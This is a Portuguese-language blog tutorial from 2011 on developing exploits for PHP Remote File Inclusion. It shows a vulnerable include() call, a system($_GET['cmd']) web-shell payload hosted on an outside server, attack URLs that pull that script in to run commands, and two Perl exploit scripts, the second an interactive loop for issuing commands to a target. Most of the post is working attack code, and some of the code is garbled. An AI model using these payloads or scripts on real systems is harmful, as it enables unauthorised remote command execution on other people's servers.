sábado, 18 de junho de 2011

Desenvolvimento de Exploits para RFI – I

Desenvolvimento de exploits para RFI

Como que acontece a inclusão de arquivos remotos (RFI)?

A função include() do PHP é usada para incluir arquivos.
Se essa função não for usada com cautela, um usuário mal-intencionado
poderá incluir scripts PHP e executar comandos arbitrários no sistema.

Exemplo de página vulnerável:

include($_GET['page']);

Irá incluir qualquer página/arquivo passada como page via GET

http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/imagem.gif

Nesse caso, o arquivo imagem.gif será incluido na página, mas… o que acontece
se ao invés de incluirmos imagens, passarmos a injetar um script PHP do tipo:

system($_GET['cmd']);

http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/script.txt&cmd=dir

A função system() executa comandos no sistema, no exemplo acima, o comando
executado será ‘dir’, e a resposta será algo parecido com:

O volume na unidade C não tem nome.
O número de série do volume é ABCD-EFGHPasta de C:\apache\htdocs 29/02/2008 22:43

29/02/2008 22:43
29/02/2008 22:43 31 vuln.php

Um exploit simples para essa vulnerabilidade pode ser construído usando a seguinte
estrutura:- (Site) + (Página vulnerável + variavel vulnerável) + (Link para o script malicioso) + (Comando Unix/Windows)

Exemplo:
http://www.site.com/vuln.php?inc=http://www.host-files.com/script.txt&cmd=dirSite: http://www.site.com/

Página vulnerável + variavel vulnerável: vuln.php?inc=
Script malicioso: http://www.host-files.com/script.txt

Comando: dir
Obs: o &cmd= em &cmd=dir pode variar dependendo do ’script malicioso’.

Exemplos:
—————————————————————————-

system($_GET['cmd']);


http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&cmd=qualquer coisa
—————————————————————————-

system($_GET['exec']);


http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&exec=qualquer coisa
—————————————————————————-

system($_GET['comando']);

http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&comando=qualquer coisa
—————————————————————————-

Vamos construir o exploit

Se site, link para o script malicioso, comando, arquivo e variável vulnerável foram passadas, então continua.
Caso contrário, informe ao usuário sobre o erro.

#!/usr/bin/perlif(@ARGV != 4) {
print "Modo de usar: perl exploit.txt \n";
print "Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dir\n";
exit;
} ($site, $page, $script, $comando) = @ARGV;

Os parâmetros necessários são passados como 'argumentos'.
Se o total de argumentos passados para a execução do script for diferente de '4' então mostre a mensagem de erro.
Vamos padronizar o script malicioso como sendo:

system($_GET['cmd']);

então quando formos iniciar a requisição, colocaremos:

$argv_script = "&cmd=";

portanto, a página que devemos ‘visitar’ será

$pagina = $site.$page.$script.$argv_script.$comando;

Exemplo:

http://www.site.com/vulneravel.php?page=http://www.host.com/script-malicioso.txt&cmd=dir

Com o módulo LWP::Simple, podemos usar a função get() que baixa uma página
e retorna para uma variável qualquer.

$resposta = get($pagina);

e mostramos a saída do servidor web

print $resposta;

O corpo do exploit está concluído, o exploit é:

#!/usr/bin/perlif(@ARGV != 4) {
print "Modo de usar: perl exploit.txt \n";
print "Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dir\n";
exit;
}($site, $page, $script, $comando) = @ARGV;
$argv_script = "&cmd=";
$pagina = $site.$page.$script.$argv_script.$comando; $resposta = get($pagina);
print $resposta;
A array @ARGV contém os argumentos passados para o script.
($site, $page, $script, $comando) = @ARGV;

seria o mesmo que

$site = $ARGV[0];
$page = $ARGV[1];
$script = $ARGV[2];
$comando = $ARGV[3];

Melhorias estéticas podem ser feitas, como por exemplo o uso de .

#!/usr/bin/perl
use LWP::Simple; site:
print "Host (Ex.: www.site.com): ";
$site = ;
if($site eq "")
{
goto site;
}
if($site =~ /http:\/\//)
{
print 'Nao coloque http:// !'."\n";
goto site;
}
pagina:
print "Pag. vulneravel (Ex.: Colt7r/vulneravel.php?page=): ";
$page = ;
if($site eq "")
{
goto pagina;
}
script:
print "Script (Ex.: http://www.host-files.com/script.txt): ";
$script = ;
if($script eq "")
{
goto script;
}
if($script !~ /http:\/\//)
{
goto script;
}
print "Variavel para executar comandos (script)\n";
print 'Ex.: cmd = system($_GET[\'cmd\']): ';
$argv_script = ;
if(!$argv_script)
{
$argv_script = "cmd";
}
$argv_script = '&'.$argv_script.'=';
comando:
print "Comando: ";
$comando = ;
$pagina = $site.$page.$script.$argv_script.$comando;
$resposta = get($pagina);
print $resposta;
goto comando;

Esse é um exploit genérico, que serve apenas para demonstrar como explorar
a vulnerabilidade.Durante o desenvolvimento de um exploit para um software
específico, é necessário o uso de expressões regulares e outros.

0 comentários:

Postar um comentário